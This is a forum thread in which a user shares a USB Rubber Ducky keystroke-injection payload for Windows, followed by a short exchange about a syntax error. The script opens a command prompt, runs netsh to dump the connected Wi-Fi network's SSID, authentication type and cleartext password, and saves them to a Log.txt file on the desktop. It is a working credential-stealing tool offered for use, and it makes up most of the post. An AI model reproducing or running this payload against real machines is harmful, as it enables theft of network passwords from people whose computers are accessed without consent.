Jump to content

WiFi Grabber (Rubber Ducky payload)


RickyHax20
 Share

Recommended Posts

Ok, so here's a payoad that can grab any of the wifi info that the computer is connected to. To find the info once the payload is finished, you need to search for "Log.txt" Only works on Windows

DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM The @ will be typed as " in the Command prompt
STRING cd @%USERPROFILE%\Desktop@ & for /f @tokens=2 delims=: @ %A in ('netsh wlan show interface ^| findstr @SSID@ ^| findstr /v @BSSID@') do set A=%A
ENTER
DELAY 100
STRING netsh wlan show profiles %A% key=clear | findstr /c:@Network type@ /c:@Authentication@ /c:@Key Content@ | findstr /v @broadcast@ | findstr /v @Radio@>>A.txt
ENTER
DELAY 100
STRING for /f @tokens=3 delims=: @ %A in ('findstr @Network type@ A.txt') do set B=%A
ENTER
DELAY 100
STRING for /f @tokens=2 delims=: @ %A in ('findstr @Authentication@ A.txt') do set C=%A
ENTER
DELAY 100
STRING for /f @tokens=3 delims=: @ %A in ('findstr @Key Content@ A.txt') do set D=%A
ENTER
DELAY 100
STRING del A.txt
ENTER
DELAY 100
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER

Feel free to ask any questions and if there's any errors that need to be fixed on to this.

Link to comment
Share on other sites

On 3/11/2017 at 2:40 PM, illwill said:

C:\Users\test>cd @%USERPROFILE%\Desktop@ & for /f @tokens=2 delims=: @ %A in ('netsh wlan show interface ^| findstr @SSID@ ^| findstr /v @BSSID@') do set A=%A
2 was unexpected at this time.

You don't put the @ when putting it in the command prompt. You put the @ when creating the ducky script. If the @ symbol is typed in the ducky script when creating the payload, the command prompt will replace every @ to " and vice-versa.

That's why I put it in REM in bold " REM The @ will be typed as " in the Command prompt "

Edited by RickyHax20
additional info
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...